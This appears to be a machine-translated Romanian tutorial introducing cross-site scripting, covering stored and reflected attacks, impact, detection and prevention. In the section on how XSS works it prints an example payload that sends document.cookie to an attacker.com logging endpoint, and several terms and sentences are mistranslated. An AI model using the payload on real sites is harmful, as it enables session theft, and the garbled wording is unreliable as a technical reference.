Introducere în cross site Scripting

  • Odată cu numărul tot mai mare de aplicații web pe Internet, securitatea web a devenit acum o preocupare importantă. Hacking-ul și furtul datelor private ale utilizatorilor sunt acum comune și îi amenință să folosească orice aplicație. Scripturi încrucișate de site-uri este unul dintre atacurile populare asupra securității web a utilizatorilor. Să arătăm o informație despre ce este scriptul cross-site.
  • Scripturile încrucișate ale site-ului denumite XSS, reprezintă o vulnerabilitate a securității computerului în care atacatorul își propune să adauge unele coduri rău intenționate sub formă de scripturi într-un site web / pagina web de încredere. Este un atac de injecție de cod din partea clientului și scriptul rău intenționat se execută pe browserul web al utilizatorului atunci când acesta accesează acel site / pagina web. În mod indirect aceste site-uri web devin un mijloc pentru a trimite codul rău intenționat utilizatorului. Prin injectarea de scripturi, atacatorii ocolesc DOM (Model Object Model) de restricții de securitate și obțineți acces la conținutul paginii sensibile al utilizatorului, cookie-uri de sesiune, istoricul de navigare majoritatea datelor private păstrate de browser.
  • Site-urile web care conțin forumuri, forumuri de mesaje, pagini web care permit comentarii și cele care utilizează inputul utilizator nesanitizat și ieșirea astfel generată sunt cele mai vulnerabile la atacurile XSS. Deși atacurile XSS sunt posibile în VBScript, ActiveX și CSS, acestea sunt cele mai frecvente în Javascript, deoarece sunt fundamentale pentru majoritatea experiențelor de navigare.

Diferite tipuri de cross site Scripting (XSS)

Cu toate că nu există o clasificare particulară a scripturilor cross site, unii experți au clasificat-o în două tipuri care sunt discutate mai jos în detaliu:

Atacuri XSS stocate :

  • XSS stocate sunt cele în care scriptul rău intenționat injectat de atacator este stocat în baza de date și rulează pe browserul utilizatorului atunci când încearcă să acceseze baza de date într-o anumită formă. Acestea sunt, de asemenea, cunoscute sub denumirea de XSS persistente sau stocate. Acesta este unul dintre cele mai devastatoare atacuri și se întâmplă mai ales atunci când site-ul / pagina web permite comentarii sau permite încorporarea conținutului HTML.
  • Atacatorul adaugă javascriptul în comentariul care este stocat în baza de date și când utilizatorul accesează pagina afectată preluând datele din baza de date pe care script-ul rău intenționat le rulează în browserul său și că atacatorul primește acces neautorizat la datele private ale utilizatorului.
  • De exemplu, pe un site web de comerț electronic precum Olx, care are o casetă de mesaje nesanitizate pentru descrierea produsului, un atacator fiind vânzătorul de produse adaugă javascript-ul rău intenționat în acesta și va fi stocat în baza de date a site-ului.
  • Când cumpărătorul va deschide descrierea produsului pentru a vizualiza detaliile produsului va deveni acum victima pe măsură ce scriptul se execută în browserul său web și toate detaliile utilizatorului pe care le permite browserul vor fi deturnate.

Procedură atacuri XSS:

  • Acesta este unul dintre cele mai comune moduri prin care un atacator poate provoca un atac XSS asupra utilizatorului. Practic, în atacurile de procedură XSS, atacatorul vizează victima trimițând un e-mail, un link rău intenționat sau atașând un șir în rezultatul căutării care indică un site de încredere, dar conține codul javascript rău intenționat.
  • Dacă o victimă face clic pe respectiva adresă URL, inițiază cererea HTTP și trimite o solicitare către aplicația web vulnerabilă. Apoi, cererea revine victimei cu un răspuns al codului javascript încorporat pe care îl execută browserul web, considerând-o provenind de la un site web de încredere, ca urmare a deturnării datelor confidențiale ale browserului său.
  • De exemplu, într-un site web de comerț electronic, există o casetă de căutare în care un utilizator poate căuta în articole și șirul scris în caseta de căutare este vizibil pe adresa URL a site-ului web atunci când cererea de căutare este trimisă serverului.
  • Atacatorul creează o legătură în care scriptul rău intenționat este concatenat în adresa URL și l-a trimis victimei prin e-mail. Când victima deschide acea legătură, cererea este trimisă pe site-ul web rău intenționat al atacatorului și toate datele browserului victimei sunt deturnate și trimise către sistemul atacatorului.

Cum funcționează scriptul cross site (XSS)?

  • În vulnerabilitatea XS (Cross Site Scripting), principalul motiv al atacatorului este de a fura datele utilizatorului rulând scriptul rău intenționat în browserul său, care este injectat în conținutul site-ului web pe care utilizatorul îl utilizează prin diferite mijloace.
  • De exemplu, atunci când un utilizator caută un text într-un site web, cererea este trimisă serverului în formularul:

https://www.abcwebsite.com/search?q=text1

În rezultatul căutării, site-ul web returnează rezultatul împreună cu ceea ce a căutat utilizatorul:

Ai căutat: text1

Dacă funcționalitatea de căutare este vulnerabilă la XSS, atunci atacatorul poate adăuga scriptul rău intenționat în adresa URL:

https://www.abcwebsite.com/search= locația documentului = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Când victima face clic pe acest link, se redirecționează către site-ul web rău intenționat, adică https://attacker.com și toate datele browserului sunt trimise direct către computerul atacatorului, ceea ce duce la furtul întregului jeton / cookie-uri ale sesiunii.
  • În acest fel, un atacator își injectează scriptul rău intenționat în adresa URL, Attacker poate stoca și acel script în serverul care se află sub Stored XSS.

Impactul vulnerabilităților de scripturi între site-uri:

Impactul scripturilor cross site variază foarte mult. După exploatarea vulnerabilității XSS, un atacator câștigă controlul deplin al browserului victimei și poate efectua diferite acțiuni, care variază de la cele mici, precum vizualizarea istoricului browserului, până la cele dezastruoase precum introducerea de viermi în computer.

Unele dintre acțiunile pe care atacatorul le poate efectua prin exploatarea vulnerabilității XSS sunt următoarele:

  1. Scurgerea informațiilor sensibile precum numele de utilizator și parola.
  2. Introducerea de viermi pe computer.
  3. Redirecționarea utilizatorului către un site web periculos și forțarea de a efectua unele acțiuni
  4. Accesați istoricul de navigare al victimei.
  5. Instalarea programului calului troian.
  6. Forțați utilizatorul să efectueze și să modifice valorile din aplicație obținând acces peste

Găsirea vulnerabilităților de scripturi între site-uri:

  • Vulnerabilitățile XSS apar din două motive, fie că intrarea de la utilizator nu este validată înainte de a o trimite la server sau ieșirea primită în browser nu este codată HTML. Reținând impactul dezastruos al vulnerabilității XSS și protejarea vieții private a utilizatorilor, este foarte important să aflăm dacă aplicația web este vulnerabilă la XSS sau nu.
  • Deși XSS este dificil de identificat și eliminat, cea mai bună modalitate de a verifica este de a efectua revizuirea de securitate a codului și de a verifica toate locurile în care intrarea de la cererea HTTP poate face calea de afișare ca ieșire într-o aplicație. Utilizarea instrumentelor de scanare automată a vulnerabilităților, care include modulul de scaner XSS specializat pentru a scana întreaga aplicație web, poate ajuta, de asemenea, la scanarea și găsirea vulnerabilităților dintr-o aplicație.

Trebuie să preveniți XSS?

  • XSS este o vulnerabilitate la injectarea de cod, de aceea este foarte importantă codificarea datelor care sunt trimise serverului și a datelor care provin de la server la browserul unui utilizator.
  • Validarea datelor este de asemenea foarte importantă, astfel încât browserul să interpreteze codul fără comenzi rău intenționate. Au fost introduse diferite metode de prevenire, păstrând validarea și codificarea datelor ca prioritate pentru ca un site web să fie vulnerabil la XSS.

Unele puncte trebuie să fie concentrate pentru a preveni XSS: -

  1. Asistența HTTP Trace pe toate serverele web ar trebui să fie dezactivată, deoarece atacatorul poate fura datele privind cookie-urile și browserul privat printr-un apel de urmărire HTTP de pe server, chiar dacă document.cookie este dezactivat în browserul victimei.
  2. Dezvoltatorii ar trebui să igienizeze intrarea și nu ar trebui să scoată niciodată datele primite direct de la utilizator fără să le valideze.
  3. Legăturile ar trebui, în general, să nu fie permise dacă nu încep cu protocoalele listate în alb, cum ar fi HTTP: //, https: // prevenind astfel utilizarea schemelor URI, cum ar fi javascript: //

Concluzie:

Atacurile XSS sunt periculoase și pot dăuna vieții private a utilizatorului și pot fura datele, decât dacă utilizatorul normal răsfoiește cu atenție aplicația. Deci dezvoltatorii în timp ce dezvoltă aplicația ar trebui să respecte regulile stricte de securitate, în special atât pentru date cât și pentru server, astfel încât aplicația să fie cel mai puțin vulnerabilă la XSS și mai mulți utilizatori să se poată baza pe ea.

Articole recomandate

Acesta a fost un ghid pentru Ce este Scripturile Cross Site ?. Aici vom discuta despre diferitele tipuri de site-uri încrucișate, de lucru, de impact și de prevenire a XSS. Puteți parcurge și alte articole sugerate pentru a afla mai multe -

  1. Cum funcționează JavaScript
  2. Ce este un atac de phishing?
  3. Ce este un atac cibernetic?
  4. Cache HTTP
  5. Cum funcționează Cookie-urile în JavaScript cu Exemplu?